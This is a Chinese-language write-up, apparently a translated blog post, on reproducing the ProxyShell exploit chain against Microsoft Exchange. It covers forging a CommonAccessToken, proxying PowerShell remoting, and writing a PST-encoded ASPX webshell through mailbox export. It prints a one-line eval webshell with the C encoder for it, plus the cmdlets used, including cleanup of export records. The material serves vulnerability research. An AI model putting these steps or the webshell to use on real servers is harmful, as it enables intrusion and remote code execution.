前言

几天前，Orange在他的BlackHat演讲中又曝出了两条Microsoft Exchange攻击链，即ProxyOrcale和ProxyShell，前者主要用于Padding Orcale攻击，后者则利用路径混淆漏洞实现任意文件写入并最终执行代码。

本文假设读者已经阅读了Orange的幻灯片，并对ProxyLogon具有基本的了解。

另外，请注意，出于显而易见的原因，这里不会公开相应的exploit。相反，本文旨在分享我在复现RCE漏洞和编写exploit方面的经验。

漏洞链

SSRF

这个攻击是从利用一个SSRF漏洞开始的，该漏洞是由于一些奇怪的URI解析造成的路径混乱所致。

PowerShell端点

然后，通过访问内部网络，我们可以尝试访问/powershell端点，从而实现与Exchange PowerShell之间的通信。请注意，由于Exchange的Powershell环境的缘故，我们可以运行的命令是非常有限的。

通过利用SSRF漏洞，我们就能以NT Authroity/System的身份来访问/powershell端点。这在正常情况下是没有问题的，但在这种情况下，由于无法识别，因此无法通过身份验证。因此，我们需要降低我们的权限来获得对端点的访问权限。

该端点需要一个名为X-CommonAccessToken的HTTP头部，但我相信Exchange不会将这个头部转发到内部后端服务器。然而，我们可以通过另一种方式获得令牌：通过提供一个名为X-Rps-CAT的GET参数，其中存放令牌内容；之后，它将被反序列化并添加为X-CommonAccessToken。

执行PowerShell命令

有了验证自己身份的方法，我们就可以更进一步，尝试实现代码执行。正如我之前所说，由于当前环境下会受到各种限制，因此，我们可以利用的东西很少。但是，却存在这样一个命令：通过它，我们能够在机器的任何位置写入文件……但是，文件只能是PST格式。

但是，PST文件并不是把所有的内容都放以明文形式存放，相反，该格式会将文件内容进行编码，这在微软的官方文件中是有介绍的。

所以，我们可以先对payload进行编码，然后，在生成并被编码PST文件时，会对payload再次进行编码，这将使最终结果保持不变。

同时，因为我们可以提供一个网络共享，这意味着我们可以直接告诉Exchange导出文件到\\127.0.0.1\C$\pathto\shell。这个webshell虽然不是很优雅，但的确能用。

但在这之前，我们需要让我们控制的用户拥有导出邮件的权限。为此，我们需要借助于New-ManagementRoleAssignment，我们可以通过它把邮箱导入导出的角色分配给用户。

发送Payload

解决了这个问题后，我们就可以设法发送有效载荷。由于我们将利用New-MailExportRequest，所以，我们需要向要导出的邮箱里发送一封包含有效载荷的邮件。

我发现，有两种方法可以解决这个问题。其中，一种方法是Orange使用的方法，发送一封邮件到地址，然后导出它。另一种方法，是Peter和Jang在Peter的博客中提出的方法：使用EWS来冒充用户，并将包含有效负载的草稿保存为附件。

我决定采取第二种方法，因为它更加方便。

复现漏洞

在上面的章节中，我已经解释了攻击链的基本概念，现在是时候进行复现了。

SSRF部分其实并不重要，它只是后面所有攻击的入口，但本身并没有什么技术上的挑战。

构造CommonAccessToken

所以，我们需要一个有效的令牌，但真正的问题是：怎样才能获得一个有效的令牌呢？

为了抓取一个令牌示例，我设置了一些断点，拦截了Exchange内部发送的一些请求。最后，得到了下面这样一个令牌：

X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlY0aE1haib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==

很明显，这里使用了base64编码；在解码之后，我决定利用hexdump软件进行观察，因为其中含有数百万个不可打印的字符。

从hexdump中，我们可以看到一些关键字符串：Kerberos、Windows、usernames，以及一些SID。此外，还有一些以单个字母作为前导的数据，这里假设其结构为：Type-Length-Value。

我对一些DLL进行了反汇编，以考察令牌是如何被序列化和反序列化的，并获得一些大致的想法。其中，最令人感兴趣的DLL是Microsoft.Exchange.Security.Authorization.dll。

在Deserialize函数中，我们可以看到V代表版本，T代表类型，C代表压缩的意思。

而E则代表扩展数据的意思。

在WindowsAccessToken中，我们可以找到额外的信息。

其中，A代表认证类型，L代表登录用户，U代表用户SID，最后，G代表组SID。

现在，我们已经知道了令牌的格式，接下来，我们将尝试构建自己的令牌。但现在问题出现了：我们需要一个SID和组SID，对吧？

如果您关注过ProxyLogon的漏洞，就会知道如何去做了。我们可以通过发送一个请求给，首先获得传统的域名，然后，使用传统的域名，通过发送另一个请求给，来找到用户的SID。

那么组SID呢？嗯，在Windows中，用户的SID是唯一的，但组的SID却不是。例如，对于管理员组中的用户，其组SID是S-1-5-32-544。顺便说一下，普通用户的组SID是S-1-5-32-545。

所以，我们基本上掌握了所需的全部信息，那么，我们该如何构建一个令牌呢？对于版本、类型、压缩、授权方面，我们可以保持原样。实际上，我们只需要改变登录名、用户SID以及组SID。

下面是用来生成令牌的部分代码：

我并没有真正弄明白为什么组SID后面总是跟着\x00\x00\x07，在这一点上我真的太懒了。而且，这也不是很重要。

我们已经成功伪造了自己的令牌，现在是时候测试一下，看看能否访问Powershell端点了。

如果响应代码是200，这意味着令牌已经被接受，我们大功告成。否则，则可能需要进行一些调试……

使用远程Powershell

下一个大任务是实现与Powershell端点的通信。实际上，该端点是通过WSMan协议的Powershell进行远程通信的。而WSMan是一个基于HTTP与SOAP XML的协议，如果我们自己动手实现该协议的话，将是一件非常痛苦的事情。

但我们很幸运，有人已经完成了这项艰巨的工作。因为我们可以利用Python库PyPSRP来完成相应的工作。

不过，我们还有一件事需要处理。由于WSMan是直接与目标服务器进行对话的，也就是说，很可能是通过HTTP与exchange:5985端口进行通信的。但我们的情况有点不同。我们需要它与Powershell端点进行通信，而不是其他端口。那么，我们如何实现这一点呢？

首先，我想看看请求是什么样子的，所以，我在自己的机器上设置了一个本地监听器，并发送了一个WinRM请求。在这个测试过程中使用的代码如下所示：

实际上，username、password和auth段其实并不重要，因为这个请求不会发往外部。相反，我们只是想让它发送至127.0.0.1:8080端口，用于测试。

事实证明，这个请求并没有多大区别，我们只需要改变XML数据中的主机字段和一些URI数据即可。

但是，具体该怎么做呢？由于PyPSRP并不支持这种东西，所以，我希望借助于burp，这时我产生了一个想法：我可以为WinRM实现一个本地HTTP代理服务器。

下面是我画的一个简单的示意图：

下面给出HTTP服务器的代码：

在编写exploit时遇到的另一个障碍是线程问题。因为执行到http.service_forever()的时候，服务器就停止了；经过一番研究，我想到一个办法：在另一个线程中启动服务器，这样就好了。

我还想指出，在执行Powershell命令时，一定要进行必要的清理工作，比方说，删除导出请求记录。实际上，有一个Remove-MailboxExportRequest命令，可以用来删除这些记录。

发送Payload

我们需要向Exchange Web Service(EWS)发送一个XML请求，以创建一个带有payload附件的电子邮件草稿。为了节省读者的时间，因为我已经花了一天的时间在这上面，这里直接给出相应的XML模板。它是在Peter提供的payload的基础上改造而成的。

下一个部分代码中含有我们的payload，它实际上就是一行ASPX webshell命令：

下一部分代码，将对payload进行编码，所以，当PST再次进行编码时，将恢复为明文形式的payload。

在微软的页面上，我稍微修改了一下代码，编译并保存了二进制数据，然后对其进行了base64编码。

#include < stdio.h > 

#include < windows.h >

#include < string.h >

byte mpbbCrypt[] =

 {

      65,  54,  19,  98, 168,  33, 110, 187,

     244,  22, 204,   4, 127, 100, 232,  93,

      30, 242, 203,  42, 116, 197,  94,  53,

     210, 149,  71, 158, 150,  45, 154, 136,

      76, 125, 132,  63, 219, 172,  49, 182,

      72,  95, 246, 196, 216,  57, 139, 231,

      35,  59,  56, 142, 200, 193, 223,  37,

     177,  32, 165,  70,  96,  78, 156, 251,

     170, 211,  86,  81,  69, 124,  85,   0,

       7, 201,  43, 157, 133, 155,   9, 160,

     143, 173, 179,  15,  99, 171, 137,  75,

     215, 167,  21,  90, 113, 102,  66, 191,

      38,  74, 107, 152, 250, 234, 119,  83,

     178, 112,   5,  44, 253,  89,  58, 134,

     126, 206,   6, 235, 130, 120,  87, 199,

     141,  67, 175, 180,  28, 212,  91, 205,

     226, 233,  39,  79, 195,   8, 114, 128,

     207, 176, 239, 245,  40, 109, 190,  48,

      77,  52, 146, 213,  14,  60,  34,  50,

     229, 228, 249, 159, 194, 209,  10, 129,

      18, 225, 238, 145, 131, 118, 227, 151,

     230,  97, 138,  23, 121, 164, 183, 220,

     144, 122,  92, 140,   2, 166, 202, 105,

     222,  80,  26,  17, 147, 185,  82, 135,

      88, 252, 237,  29,  55,  73,  27, 106,

     224,  41,  51, 153, 189, 108, 217, 148,

     243,  64,  84, 111, 240, 198, 115, 184,

     214,  62, 101,  24,  68,  31, 221, 103,

      16, 241,  12,  25, 236, 174,   3, 161,

      20, 123, 169,  11, 255, 248, 163, 192,

     162,   1, 247,  46, 188,  36, 104, 117,

      13, 254, 186,  47, 181, 208, 218,  61,

      20,  83,  15,  86, 179, 200, 122, 156,

     235, 101,  72,  23,  22,  21, 159,   2,

     204,  84, 124, 131,   0,  13,  12,  11,

     162,  98, 168, 118, 219, 217, 237, 199,

     197, 164, 220, 172, 133, 116, 214, 208,

     167, 155, 174, 154, 150, 113, 102, 195,

      99, 153, 184, 221, 115, 146, 142, 132,

     125, 165,  94, 209,  93, 147, 177,  87,

      81,  80, 128, 137,  82, 148,  79,  78,

      10, 107, 188, 141, 127, 110,  71,  70,

      65,  64,  68,   1,  17, 203,   3,  63,

     247, 244, 225, 169, 143,  60,  58, 249,

     251, 240,  25,  48, 130,   9,  46, 201,

     157, 160, 134,  73, 238, 111,  77, 109,

     196,  45, 129,  52,  37, 135,  27, 136,

     170, 252,   6, 161,  18,  56, 253,  76,

      66, 114, 100,  19,  55,  36, 106, 117,

     119,  67, 255, 230, 180,  75,  54,  92,

     228, 216,  53,  61,  69, 185,  44, 236,

     183,  49,  43,  41,   7, 104, 163,  14,

     105, 123,  24, 158,  33,  57, 190,  40,

      26,  91, 120, 245,  35, 202,  42, 176,

     175,  62, 254,   4, 140, 231, 229, 152,

      50, 149, 211, 246,  74, 232, 166, 234,

     233, 243, 213,  47, 112,  32, 242,  31,

       5, 103, 173,  85,  16, 206, 205, 227,

      39,  59, 218, 186, 215, 194,  38, 212,

     145,  29, 210,  28,  34,  51, 248, 250,

     241,  90, 239, 207, 144, 182, 139, 181,

     189, 192, 191,   8, 151,  30, 108, 226,

      97, 224, 198, 193,  89, 171, 187,  88,

     222,  95, 223,  96, 121, 126, 178, 138,

      71, 241, 180, 230,  11, 106, 114,  72,

     133,  78, 158, 235, 226, 248, 148,  83,

     224, 187, 160,   2, 232,  90,   9, 171,

     219, 227, 186, 198, 124, 195,  16, 221,

      57,   5, 150,  48, 245,  55,  96, 130,

     140, 201,  19,  74, 107,  29, 243, 251,

     143,  38, 151, 202, 145,  23,   1, 196,

      50,  45, 110,  49, 149, 255, 217,  35,

     209,   0,  94, 121, 220,  68,  59,  26,

      40, 197,  97,  87,  32, 144,  61, 131,

     185,  67, 190, 103, 210,  70,  66, 118,

     192, 109,  91, 126, 178,  15,  22,  41,

      60, 169,   3,  84,  13, 218,  93, 223,

     246, 183, 199,  98, 205, 141,   6, 211,

     105,  92, 134, 214,  20, 247, 165, 102,

     117, 172, 177, 233,  69,  33, 112,  12,

     135, 159, 116, 164,  34,  76, 111, 191,

      31,  86, 170,  46, 179, 120,  51,  80,

     176, 163, 146, 188, 207,  25,  28, 167,

      99, 203,  30,  77,  62,  75,  27, 155,

      79, 231, 240, 238, 173,  58, 181,  89,

       4, 234,  64,  85,  37,  81, 229, 122,

     137,  56, 104,  82, 123, 252,  39, 174,

     215, 189, 250,   7, 244, 204, 142,  95,

     239,  53, 156, 132,  43,  21, 213, 119,

      52,  73, 182,  18,  10, 127, 113, 136,

     253, 157,  24,  65, 125, 147, 216,  88,

      44, 206, 254,  36, 175, 222, 184,  54,

     200, 161, 128, 166, 153, 152, 168,  47,

      14, 129, 101, 115, 228, 194, 162, 138,

     212, 225,  17, 208,   8, 139,  42, 242,

     237, 154, 100,  63, 193, 108, 249, 236

 };

 #define mpbbR   (mpbbCrypt)

 #define mpbbS   (mpbbCrypt + 256)

 #define mpbbI   (mpbbCrypt + 512)

 void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)

 {

    // cb -> buffer size

    // pv -> buffer

    byte *          pb      = (byte *)pv;

    byte *          pbTable   = fEncrypt ? mpbbR : mpbbI;

    const DWORD *   pdw    = (const DWORD *) pv;

    DWORD         dwCurr;

    byte         b;

    if (cb >= sizeof(DWORD))

    {

       while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))

       {

          *pb = pbTable[*pb];

          pb++;

          cb--;

       }

       pdw = (const DWORD *) pb;

       for (; cb >= 4; cb -= 4)

       {

          dwCurr = *pdw;

          b = (byte) (dwCurr & 0xFF);

          *pb = pbTable[b];

          pb++;

          dwCurr = dwCurr >> 8;      

          b = (byte) (dwCurr & 0xFF);

          *pb = pbTable[b];

          pb++;

          dwCurr = dwCurr >> 8;      

          b = (byte) (dwCurr  & 0xFF);

          *pb = pbTable[b];

          pb++;

          dwCurr = dwCurr >> 8;      

          b = (byte) (dwCurr  & 0xFF);

          *pb = pbTable[b];

          pb++;

          pdw++;

       }

       pb = (byte *) pdw;

    }

    for (; --cb >= 0; ++pb)

       *pb = pbTable[*pb];

}

void main(){

    char[] payload = "< script language=JScript runat=server Page aspcompat=true >function Page_Load(){eval(Request[cmd],unsafe);}< /script >";

    int length = strlen(payload);

    CryptPermute(payload, length, false);

    printf(payload);

}

最后，我真的搞不清楚什么是正确的编码方式，只好进行蛮力测试，直到有一个成功为止。

现在，漏洞链的每个部分都搞定了，终于可以把组合在一起进行测试了。

测试结果

尽管webshell有点乱，但借助于正则表达式的威力，我们仍然可以得到一个比较清晰的结果。

小结

这一次，我们根据其他研究人员的论文，实现了自己的漏洞利用方法。说实话，这个攻击链真的很酷，我在利用这个漏洞的过程中学到了很多东西。我非常感谢Peter的文章，也感谢Orange提供的这个惊人的攻击链。希望本文对于大家理解这个漏洞能够有所帮助。

参考资料

https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd

https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf

https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange

参考及来源：